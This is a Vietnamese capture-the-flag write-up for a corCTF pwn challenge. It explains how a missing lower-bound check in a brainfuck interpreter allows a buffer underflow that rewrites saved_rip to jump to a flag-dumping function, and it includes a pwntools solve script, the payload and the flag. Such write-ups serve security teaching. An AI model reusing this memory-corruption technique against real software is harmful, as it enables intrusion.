- Bug chính ở đây nằm ở việc bound check. Tuy có bound check đối với `+` và `-` để đảm bảo `array_index` không thay đổi dữ liệu nằm bên ngoài `frog_table` bằng cách kiểm tra `limit_address` và `current_address` nhưng challenge chỉ check `upper bound`, không check `lower bound` do đó có thể sửa `Table.size` bằng `buffer underflow` từ đó có được `buffer overflow`
    - ![image](https://hackmd.io/_uploads/BktpicB5gg.png)
    - ![image](https://hackmd.io/_uploads/H1w_oqHcxl.png)
- Nhưng vì việc chỉnh `code_index` đến `0x69420` là không khả thi, do đó mình đã chọn sửa `saved_rip` để khi challenge kết thúc và return thì sẽ return về hàm `mmio_dump_flag`
    - ![image](https://hackmd.io/_uploads/SJ3j6cS5ex.png)
    - ![image](https://hackmd.io/_uploads/BJf8hqScee.png)
    - Có thể thấy offset từ `saved_rip` đến hàm `mmio_dump_flag` là `0x31`, do đó mình sẽ code chương trình sao cho có thể cộng vào `saved_rip` `0x31`
- Vì challenge sẽ chỉ dừng lại khi gặp kí tự `#` hoặc `Out of bounds data access`, tuy nhiên `size input` lại chỉ có `0x58` nên không thể đủ để `>` `0x108` lần trước khi cộng vào `saved_rip` nên mình sẽ cần code bf hợp lí để sau khi sửa được `saved_rip` thì challenge hit `Out of bounds data access` và return về `mmio_dump_flag`
- Đây là mã giả chương trình bf code:
    -   ```cpp!
        array_idx -= 8;
        Table[array_index]--;
        while(Table[array_index])
        {
            Table[array_index]--;
            while(Table[array_index])
            {
                Table[array_index] += 0x31;
                array_index += 8;
            }
            array_index += 8;
            Table[array_index]++;
        }
        ```
- ![image](https://hackmd.io/_uploads/Sy2FJiSqge.png)

Solve script:
```python!
from pwn import *
import sys
import os
#Cre: vilex1337

_path = "./chall"
context.binary = exe = ELF(_path, checksec=False)
addr = 'localhost'
port = 8080
cmd = f'''
    set solib-search-path {os.getcwd()}
    decompiler connect ida --host localhost --port 3662
    breakrva 0x18BD
    continue
'''

context.terminal = ['wt.exe', 'wsl', '-e', 'bash', '-c']

def conn():
    if args.LOCAL:
        if args.GDB:
            p = gdb.debug(_path, cmd)
        else:
            p = exe.process()

    elif args.REMOTE:
        host_port = sys.argv[1:]
        p = remote(host_port[0], int(host_port[1]))
    return p

def p(_data, _arch = 64, endian = 'little'):
    switcher = {
        64: p64(_data & 0xffffffffffffffff, endian),
        32: p32(_data & 0xffffffff, endian),
        16: p16(_data & 0xffff, endian),
        8:  p8(_data & 0xff, endian)
    }
    return switcher[_arch]

chall = conn()

def sl(_data):
    chall.sendline(_data)

def sla(rgx, _data):
    chall.sendlineafter(rgx, _data)

def se(_data):
    chall.send(_data)

def sa(rgx, _data):
    chall.sendafter(rgx, _data)

def check():
    chall.interactive()
    exit()

def main():
    payload = b'<<<<<<<<-'
    payload += b'[-' + b'[' + b'+' * 0x31 + b'>' * 8 + b']' + b'>' * 8 + b'+]'
    print(hex(len(payload)))
    print(payload)
    sla(b'Enter bf code:', payload)
    check()

if __name__ == "__main__":
    main()
```

Flag: `corctf{underfl0w_is_the_new_overfl0w}`